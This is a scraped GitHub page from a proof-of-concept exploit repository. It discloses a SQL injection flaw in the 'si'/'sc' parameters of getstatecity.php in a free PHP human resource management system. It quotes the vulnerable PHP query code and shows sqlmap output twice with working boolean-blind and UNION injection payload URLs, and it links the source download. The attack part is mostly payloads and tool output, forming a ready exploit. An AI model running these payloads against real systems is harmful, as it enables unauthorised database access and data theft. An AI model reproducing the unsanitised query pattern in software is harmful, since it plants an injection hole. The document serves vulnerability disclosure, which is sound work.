



 main ▾

...

POC-Exp / The Human Resource Management System sc parameter is injected.pdf

 Hanfu-I Add files via upload History

 1 contributor

183 KB ...

SQL injection vulnerability exists in sc parameter of getstatecity.php file of human resource system, which may lead to leakage of important data of users or the system, harm system environment security, and cause information to be used by malicious users.

```
if($_GET["Type"]=="c")
{
    $stateid = $_GET['si'];
    $cityidd = $_GET['sc'];
    $cityn = mysqli_query($db,"select * from city where StateId='$stateid' ORDER BY Name");
    $ReturnCityArray=array();

    while($row = mysqli_fetch_assoc($cityn))
    {
        array_push($ReturnCityArray, $row);
    }
    echo "<option value=''>-- Select City --</option>";
    foreach ($ReturnCityArray as $ca)
    {
        if($ca['CityId']==$cityidd)
            echo "<option value=''>". $ca['CityId']. "' selected>". $ca['Name']. "</option>";
        else
            echo "<option value=''>". $ca['CityId']. "'>". $ca['Name']. "</option>";
    }
}
```

-- Select City --
Sample 101
Sample 102
Manila
Muntinlupa
Los Angeles
Washington
San Francisco

SQLmap

```
sqlmap identified the following injection point(s) with a total of 344 HTTP(s) requests.
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=c&sc=selectedcityid&si=-7061' OR 6405=6405#21=6 AND 00071=00071 --

Type: UNION query
Title: MySQL UNION query (random number) - 3 columns
Payload: http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=c&sc=selectedcityid&si=-8988' UNION ALL SELECT CONCAT(0x716b6b7871,0x6a50626a4766457361644775464e4857444f6253695348634e674c0d26
552d2555526e444568,0x716a787a71,6912,6912#21=6 AND 00071=00071 --

Parameter: #2* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=c&sc=selectedcityid&si=-5288' OR 7793=7793#1=6 AND 00071=00071 --

Type: UNION query
Title: MySQL UNION query (random number) - 3 columns
Payload: http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=c&sc=selectedcityid&si=-9568' UNION ALL SELECT CONCAT(0x716b6b7871,0x57687a6a5a054872795a015a565142566b4253786943416d5a4665666d6
d6542644f625347587a71,0x716a787a71,4440,4440#1=6 AND 00071=00071 --
```

Sqlmap attack

--

attack="sqlmap identified the following injection point(s) with a total of 344 HTTP(s) requests:

Parameter: #1* (URI)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload:

http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=c&sc=selectedcityid&si=-7061'

OR 6405=6405#21=6 AND 00071=00071 --

Type: UNION query

Title: MySQL UNION query (random number) - 3 columns

Payload:

```
http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=c&sc=selectedcityid&si=-8988'  
UNION                                ALL                                SELECT  
CONCAT(0x716b6b7871,0x6a50626a47664573614647754d4e4857444f6253695348634e674c6b4  
26b524d5256524e64444568,0x716a787a71),6912,6912#21=6 AND 00071=00071 --
```

Parameter: #2* (URI)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload:

```
http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=c&sc=selectedcityid&si=-5268'  
OR 7793=7793#1=6 AND 00071=00071 --
```

Type: UNION query

Title: MySQL UNION query (random number) - 3 columns

Payload:

```
http://192.168.31.40:80/hrm/controller/getstatecity.php?Type=c&sc=selectedcityid&si=-9568'  
UNION                                ALL                                SELECT  
CONCAT(0x716b6b7871,0x57687a6a5a654872795a615a565142566b4253706949416d5a466566  
6d6d4542644f625347587a71,0x716a787a71),4440,4440#1=6 AND 00071=00071 --  
---"
```

Source Code Download

"<https://www.sourcecodester.com/php/15740/human-resource-management-system-project-ph-p-and-mysql-free-source-code.html>"

